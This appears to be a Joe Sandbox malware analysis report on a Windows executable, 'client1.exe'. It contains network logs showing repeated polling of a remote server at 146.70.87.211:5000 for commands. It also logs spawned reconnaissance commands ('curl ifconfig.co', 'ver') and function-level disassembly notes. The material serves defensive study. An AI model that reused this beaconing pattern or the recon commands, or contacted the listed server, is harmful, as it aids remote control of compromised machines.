Nov 4, 2024 09:50:33.528086901 CET	5000	49727	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:33.528228998 CET	49727	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:33.528377056 CET	49727	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:33.533225060 CET	5000	49727	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:38.530678988 CET	49730	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:38.535542965 CET	5000	49730	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:38.535619020 CET	49730	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:38.535686016 CET	49730	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:38.540471077 CET	5000	49730	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:39.036963940 CET	5000	49730	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:39.037094116 CET	49730	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:39.037220955 CET	49730	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:39.042013884 CET	5000	49730	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:44.039870024 CET	49731	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:44.045089960 CET	5000	49731	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:44.045200109 CET	49731	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:44.045330048 CET	49731	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:44.050358057 CET	5000	49731	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:44.553555965 CET	5000	49731	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:44.553630114 CET	49731	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:44.553755999 CET	49731	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:44.558845997 CET	5000	49731	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:49.556010962 CET	49732	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:49.560995102 CET	5000	49732	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:49.561132908 CET	49732	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:49.561132908 CET	49732	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:49.566071033 CET	5000	49732	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:50.066209078 CET	5000	49732	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:50.066440105 CET	49732	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:50.066481113 CET	49732	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:50.071280003 CET	5000	49732	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:55.068658113 CET	49733	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:55.073659897 CET	5000	49733	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:55.073787928 CET	49733	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:55.073851109 CET	49733	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:55.078716040 CET	5000	49733	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:55.706204891 CET	5000	49733	146.70.87.211	192.168.2.8
Nov 4, 2024 09:50:55.706404924 CET	49733	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:55.706625938 CET	49733	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:50:55.711469889 CET	5000	49733	146.70.87.211	192.168.2.8
Nov 4, 2024 09:51:00.725275040 CET	49734	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:51:00.730321884 CET	5000	49734	146.70.87.211	192.168.2.8
Nov 4, 2024 09:51:00.730420113 CET	49734	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:51:00.730496883 CET	49734	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:51:00.735308886 CET	5000	49734	146.70.87.211	192.168.2.8
Nov 4, 2024 09:51:01.236129999 CET	5000	49734	146.70.87.211	192.168.2.8
Nov 4, 2024 09:51:01.236182928 CET	49734	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:51:01.236377001 CET	49734	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:51:01.241218090 CET	5000	49734	146.70.87.211	192.168.2.8
Nov 4, 2024 09:51:06.241374969 CET	49735	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:51:06.246557951 CET	5000	49735	146.70.87.211	192.168.2.8
Nov 4, 2024 09:51:06.246774912 CET	49735	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:51:06.249640942 CET	49735	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:51:06.254513979 CET	5000	49735	146.70.87.211	192.168.2.8
Nov 4, 2024 09:51:06.756910086 CET	5000	49735	146.70.87.211	192.168.2.8
Nov 4, 2024 09:51:06.756963968 CET	49735	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:51:06.758027077 CET	49735	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:51:06.762821913 CET	5000	49735	146.70.87.211	192.168.2.8
Nov 4, 2024 09:51:11.760324955 CET	49736	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:51:11.765466928 CET	5000	49736	146.70.87.211	192.168.2.8
Nov 4, 2024 09:51:11.765616894 CET	49736	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:51:11.765666008 CET	49736	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:51:11.770507097 CET	5000	49736	146.70.87.211	192.168.2.8
Nov 4, 2024 09:51:12.266064882 CET	5000	49736	146.70.87.211	192.168.2.8
Nov 4, 2024 09:51:12.266146898 CET	49736	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:51:12.266246080 CET	49736	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:51:12.271037102 CET	5000	49736	146.70.87.211	192.168.2.8
Nov 4, 2024 09:51:17.293462992 CET	49737	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:51:17.298472881 CET	5000	49737	146.70.87.211	192.168.2.8
Nov 4, 2024 09:51:17.298578978 CET	49737	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:51:17.335611105 CET	49737	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:51:17.340735912 CET	5000	49737	146.70.87.211	192.168.2.8
Nov 4, 2024 09:51:17.804378986 CET	5000	49737	146.70.87.211	192.168.2.8
Nov 4, 2024 09:51:17.804469109 CET	49737	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:51:17.804599047 CET	49737	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:51:17.809329987 CET	5000	49737	146.70.87.211	192.168.2.8
Nov 4, 2024 09:51:22.960197926 CET	49738	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:51:22.965121984 CET	5000	49738	146.70.87.211	192.168.2.8
Nov 4, 2024 09:51:22.965213060 CET	49738	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:51:22.965276957 CET	49738	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:51:22.970398903 CET	5000	49738	146.70.87.211	192.168.2.8
Nov 4, 2024 09:51:23.470443964 CET	5000	49738	146.70.87.211	192.168.2.8
Nov 4, 2024 09:51:23.470560074 CET	49738	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:51:23.470695972 CET	49738	5000	192.168.2.8	146.70.87.211
Nov 4, 2024 09:51:23.477209091 CET	5000	49738	146.70.87.211	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 4, 2024 09:49:21.044339895 CET	61191	53	192.168.2.8	1.1.1.1
Nov 4, 2024 09:49:21.051662922 CET	53	61191	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 4, 2024 09:49:21.044339895 CET	192.168.2.8	1.1.1.1	0x616f	Standard query (0)	ifconfig.co	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 4, 2024 09:49:21.051662922 CET	1.1.1.1	192.168.2.8	0x616f	No error (0)	ifconfig.co		172.67.168.106	A (IP address)	IN (0x0001)	false
Nov 4, 2024 09:49:21.051662922 CET	1.1.1.1	192.168.2.8	0x616f	No error (0)	ifconfig.co		104.21.54.91	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

146.70.87.211:5000

ifconfig.co

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	146.70.87.211	5000	6776	C:\Users\user\Desktop\client1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 09:49:20.929239035 CET	173	OUT	GET /clients/996/commands HTTP/1.1 Host: 146.70.87.211:5000 User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate, br Accept: / Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49709	172.67.168.106	80	4032	C:\Windows\System32\curl.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 09:49:21.062191010 CET	75	OUT	GET / HTTP/1.1 Host: ifconfig.co User-Agent: curl/7.83.1 Accept: /
Nov 4, 2024 09:49:21.781905890 CET	757	IN	HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 08:49:21 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 15 Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FI7ZML8J7ZFwHSUnqUrZ2axJojgjp9EnmM8IfEuZMtxjbHyuffPEsiwOAUpKcBJcjwCJSnVDTJDGWlCfdQ906VbxaQLd8FG79oPs6udgtsWYvz3hSIeGZckMtxBOzA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dd359adf88f6b65-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1240&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=75&delivery_rate=0&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 0a Data Ascii: 173.254.250.69

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49710	146.70.87.211	5000	6776	C:\Users\user\Desktop\client1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 09:49:26.449234009 CET	173	OUT	GET /clients/996/commands HTTP/1.1 Host: 146.70.87.211:5000 User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate, br Accept: / Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49711	146.70.87.211	5000	6776	C:\Users\user\Desktop\client1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 09:49:31.968652010 CET	173	OUT	GET /clients/996/commands HTTP/1.1 Host: 146.70.87.211:5000 User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate, br Accept: / Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49716	146.70.87.211	5000	6776	C:\Users\user\Desktop\client1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 09:49:37.516756058 CET	173	OUT	GET /clients/996/commands HTTP/1.1 Host: 146.70.87.211:5000 User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate, br Accept: / Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49717	146.70.87.211	5000	6776	C:\Users\user\Desktop\client1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 09:49:43.029470921 CET	173	OUT	GET /clients/996/commands HTTP/1.1 Host: 146.70.87.211:5000 User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate, br Accept: / Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49718	146.70.87.211	5000	6776	C:\Users\user\Desktop\client1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 09:49:48.544023991 CET	173	OUT	GET /clients/996/commands HTTP/1.1 Host: 146.70.87.211:5000 User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate, br Accept: / Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49719	146.70.87.211	5000	6776	C:\Users\user\Desktop\client1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 09:49:54.077294111 CET	173	OUT	GET /clients/996/commands HTTP/1.1 Host: 146.70.87.211:5000 User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate, br Accept: / Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49720	146.70.87.211	5000	6776	C:\Users\user\Desktop\client1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 09:49:59.591022968 CET	173	OUT	GET /clients/996/commands HTTP/1.1 Host: 146.70.87.211:5000 User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate, br Accept: / Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49721	146.70.87.211	5000	6776	C:\Users\user\Desktop\client1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 09:50:05.110410929 CET	173	OUT	GET /clients/996/commands HTTP/1.1 Host: 146.70.87.211:5000 User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate, br Accept: / Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49722	146.70.87.211	5000	6776	C:\Users\user\Desktop\client1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 09:50:10.623347998 CET	173	OUT	GET /clients/996/commands HTTP/1.1 Host: 146.70.87.211:5000 User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate, br Accept: / Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49724	146.70.87.211	5000	6776	C:\Users\user\Desktop\client1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 09:50:16.290586948 CET	173	OUT	GET /clients/996/commands HTTP/1.1 Host: 146.70.87.211:5000 User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate, br Accept: / Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49725	146.70.87.211	5000	6776	C:\Users\user\Desktop\client1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 09:50:21.840990067 CET	173	OUT	GET /clients/996/commands HTTP/1.1 Host: 146.70.87.211:5000 User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate, br Accept: / Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49726	146.70.87.211	5000	6776	C:\Users\user\Desktop\client1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 09:50:27.485373974 CET	173	OUT	GET /clients/996/commands HTTP/1.1 Host: 146.70.87.211:5000 User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate, br Accept: / Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49727	146.70.87.211	5000	6776	C:\Users\user\Desktop\client1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 09:50:33.022425890 CET	173	OUT	GET /clients/996/commands HTTP/1.1 Host: 146.70.87.211:5000 User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate, br Accept: / Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49730	146.70.87.211	5000	6776	C:\Users\user\Desktop\client1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 09:50:38.535686016 CET	173	OUT	GET /clients/996/commands HTTP/1.1 Host: 146.70.87.211:5000 User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate, br Accept: / Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49731	146.70.87.211	5000	6776	C:\Users\user\Desktop\client1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 09:50:44.045330048 CET	173	OUT	GET /clients/996/commands HTTP/1.1 Host: 146.70.87.211:5000 User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate, br Accept: / Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49732	146.70.87.211	5000	6776	C:\Users\user\Desktop\client1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 09:50:49.561132908 CET	173	OUT	GET /clients/996/commands HTTP/1.1 Host: 146.70.87.211:5000 User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate, br Accept: / Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49733	146.70.87.211	5000	6776	C:\Users\user\Desktop\client1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 09:50:55.073851109 CET	173	OUT	GET /clients/996/commands HTTP/1.1 Host: 146.70.87.211:5000 User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate, br Accept: / Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49734	146.70.87.211	5000	6776	C:\Users\user\Desktop\client1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 09:51:00.730496883 CET	173	OUT	GET /clients/996/commands HTTP/1.1 Host: 146.70.87.211:5000 User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate, br Accept: / Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49735	146.70.87.211	5000	6776	C:\Users\user\Desktop\client1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 09:51:06.249640942 CET	173	OUT	GET /clients/996/commands HTTP/1.1 Host: 146.70.87.211:5000 User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate, br Accept: / Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49736	146.70.87.211	5000	6776	C:\Users\user\Desktop\client1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 09:51:11.765666008 CET	173	OUT	GET /clients/996/commands HTTP/1.1 Host: 146.70.87.211:5000 User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate, br Accept: / Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.8	49737	146.70.87.211	5000	6776	C:\Users\user\Desktop\client1.exe

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 09:51:17.335611105 CET	173	OUT	GET /clients/996/commands HTTP/1.1 Host: 146.70.87.211:5000 User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate, br Accept: / Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.8	49738	146.70.87.211	5000

Timestamp	Bytes transferred	Direction	Data
Nov 4, 2024 09:51:22.965276957 CET	173	OUT	GET /clients/996/commands HTTP/1.1 Host: 146.70.87.211:5000 User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate, br Accept: / Connection: keep-alive

Target ID:	0
Start time:	03:49:16
Start date:	04/11/2024
Path:	C:\Users\user\Desktop\client1.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\client1.exe"
Imagebase:	0x7ff79f620000
File size:	11'677'281 bytes
MD5 hash:	950C13286D42AD2DA05B1778C1E2D747
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	03:49:18
Start date:	04/11/2024
Path:	C:\Users\user\Desktop\client1.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\client1.exe"
Imagebase:	0x7ff79f620000
File size:	11'677'281 bytes
MD5 hash:	950C13286D42AD2DA05B1778C1E2D747
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	03:49:19
Start date:	04/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "curl ifconfig.co"
Imagebase:	0x7ff701740000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:49:19
Start date:	04/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:49:19
Start date:	04/11/2024
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl ifconfig.co
Imagebase:	0x7ff60ea90000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:49:20
Start date:	04/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "ver"
Imagebase:	0x7ff701740000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:49:20
Start date:	04/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	26

Executed Functions

Function 00007FF79F644E20 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF79F644E65

Part of subcall function 00007FF79F6447B8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79F6447CC

Part of subcall function 00007FF79F639E18: RtlFreeHeap.NTDLL(?,?,?,00007FF79F641E42,?,?,?,00007FF79F641E7F,?,?,00000000,00007FF79F642345,?,?,?,00007FF79F642277), ref: 00007FF79F639E2E
Part of subcall function 00007FF79F639E18: GetLastError.KERNEL32(?,?,?,00007FF79F641E42,?,?,?,00007FF79F641E7F,?,?,00000000,00007FF79F642345,?,?,?,00007FF79F642277), ref: 00007FF79F639E38

Part of subcall function 00007FF79F639DD0: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF79F639DAF,?,?,?,?,?,00007FF79F6321EC), ref: 00007FF79F639DD9
Part of subcall function 00007FF79F639DD0: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF79F639DAF,?,?,?,?,?,00007FF79F6321EC), ref: 00007FF79F639DFE

_get_daylight.LIBCMT ref: 00007FF79F644E54

Part of subcall function 00007FF79F644818: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79F64482C

_get_daylight.LIBCMT ref: 00007FF79F6450CA
_get_daylight.LIBCMT ref: 00007FF79F6450DB
_get_daylight.LIBCMT ref: 00007FF79F6450EC
GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF79F64532C), ref: 00007FF79F645113

Strings

Eastern Standard Time, xrefs: 00007FF79F6451B9
Eastern Summer Time, xrefs: 00007FF79F6451D1

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 4070488512-239921721
Opcode ID: 77ba2d10f7a40a17f98ee8fd01e8c058cff67636c36494bf754a44884999314e
Instruction ID: fcc2753484b5f486a54e18bddd1f7662d5bede607d47f748dcb017644e45245b
Opcode Fuzzy Hash: 77ba2d10f7a40a17f98ee8fd01e8c058cff67636c36494bf754a44884999314e
Instruction Fuzzy Hash: FAD1AE26A0878286E730BF35D9411F9A2AAFF85B94FD04136EE2D476C5DF3CE8418760

Function 00007FF79F645D6C Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF79F645AA0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79F645AE1
Part of subcall function 00007FF79F645AA0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79F645B5F
Part of subcall function 00007FF79F645AA0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79F645BB0

CreateFileW.KERNELBASE ref: 00007FF79F645E72
CreateFileW.KERNEL32 ref: 00007FF79F645EC2
GetLastError.KERNEL32 ref: 00007FF79F645EF2
GetFileType.KERNELBASE ref: 00007FF79F645F07
GetLastError.KERNEL32 ref: 00007FF79F645F11
CloseHandle.KERNEL32 ref: 00007FF79F645F44
CloseHandle.KERNEL32 ref: 00007FF79F6460A7
CreateFileW.KERNEL32 ref: 00007FF79F6460DC
GetLastError.KERNEL32 ref: 00007FF79F6460EB

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: f9714f3a8e10acd42ca2d2c5b2c2c8a966f4ca54d5d677232d284773bb45134f
Instruction ID: 0ea52da5d498d6fa947fcb687aec398ebf56143a13dc56fbb48df1efb45d6f64
Opcode Fuzzy Hash: f9714f3a8e10acd42ca2d2c5b2c2c8a966f4ca54d5d677232d284773bb45134f
Instruction Fuzzy Hash: B3C1A032B24B8286EB20FF75C4906ECB76AEB49B98B810235DA2E577D5CF39D451C710

Function 00007FF79F626780 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 139
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(?,00000000,?,00007FF79F62674D), ref: 00007FF79F62681A

Part of subcall function 00007FF79F626990: GetEnvironmentVariableW.KERNEL32(00007FF79F6236E7), ref: 00007FF79F6269CA
Part of subcall function 00007FF79F626990: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF79F6269E7

Part of subcall function 00007FF79F6366B4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79F6366CD

SetEnvironmentVariableW.KERNEL32(?,TokenIntegrityLevel), ref: 00007FF79F6268D1

Part of subcall function 00007FF79F622770: MessageBoxW.USER32 ref: 00007FF79F622841

Strings

_MEI%d, xrefs: 00007FF79F626828
TMP, xrefs: 00007FF79F6267DE
TMP, xrefs: 00007FF79F6267B8, 00007FF79F626879, 00007FF79F626907
LOADER: Failed to set the TMP environment variable., xrefs: 00007FF79F6267F8

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
